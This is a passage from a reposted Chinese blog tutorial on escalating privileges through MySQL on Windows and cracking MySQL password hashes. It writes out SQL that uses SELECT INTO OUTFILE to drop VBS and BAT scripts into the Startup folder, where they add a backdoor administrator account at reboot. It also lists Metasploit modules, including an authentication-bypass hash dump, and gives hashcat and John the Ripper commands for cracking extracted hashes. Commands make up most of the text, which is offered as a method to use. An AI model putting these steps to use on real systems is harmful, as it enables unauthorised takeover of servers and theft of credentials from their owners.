<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"a=wshshell.run ("</code><code>"cmd.exe /c net user aspnetaspnettest/add"</code><code>",0)"</code><code>) ;</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"b=wshshell.run ("</code><code>"cmd.exe /c net localgroup Administrators aspnet /add"</code><code>",0) "</code> <code>); </code>

<code>select</code> <code>* </code><code>from</code> <code>a;</code>

2. 导出 vbs 脚本到启动

使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

<code>select</code> <code>* </code><code>from</code> <code>a </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"</code><code>;</code>

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。

推荐使用以下脚本:

<code>create</code> <code>table</code> <code>b (cmd text); </code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"net user Aspnet123545345!* /add"</code><code>);</code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"net localgroup administrators Aspnet /add"</code><code>);</code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"del b.bat"</code><code>);</code>

<code>select</code> <code>* </code><code>from</code> <code>b </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat"</code><code>;</code>

该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的b.bat脚本文件

说明

在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

<code>select</code> <code>* </code><code>from</code> <code>b </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"</code><code>;</code>

<code>Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs</code>

其vbs方法可以参考如下写法:

<code>create</code> <code>table</code> <code>a (cmd text);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"set wshshell=createobject ("</code><code>"wscript.shell"</code><code>" ) "</code> <code>);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"a=wshshell.run ("</code><code>"cmd.exe /c net user antian365 qwer1234!@# /add"</code><code>",0) "</code> <code>);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"b=wshshell.run ("</code><code>"cmd.exe /c net localgroup Administrators antian365 /add"</code><code>",0) "</code> <code>);</code>

<code>select</code> <code>* </code><code>from</code> <code>a </code><code>into</code> <code>outfile </code><code>"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"</code><code>;</code>

3.msf下模块exploit/windows/mysql/mysql_start_up提权

<code>   </code><code>use exploit/windows/mysql/mysql_start_up</code>

msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。

1.7-Msf其它相关漏洞提权

1. Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2. exploit/windows/mysql/mysql_yassl_hello

3. exploit/windows/mysql/scrutinizer_upload_exec

1.8.-mysql密码破解

1.8.1 cain工具破解mysql密码

使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

(1)root后面的“*”不要复制到字符串中。

(2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

1.8.2 网站在线密码破解

1.cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。

2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

1.8.3 oclhash破解

hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat/,破解命令:

<code>hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型</code>

<code>hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型</code>

1.8.4 John the Ripper password cracker

John the Ripper下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。

<code>Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B&gt;hashes.txt</code>

<code>John –format =mysql-sha1 hashes.txt</code>

<code>john </code><code>--list=formats | grep mysql //查看支持mysql密码破解的算法</code>

 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1981572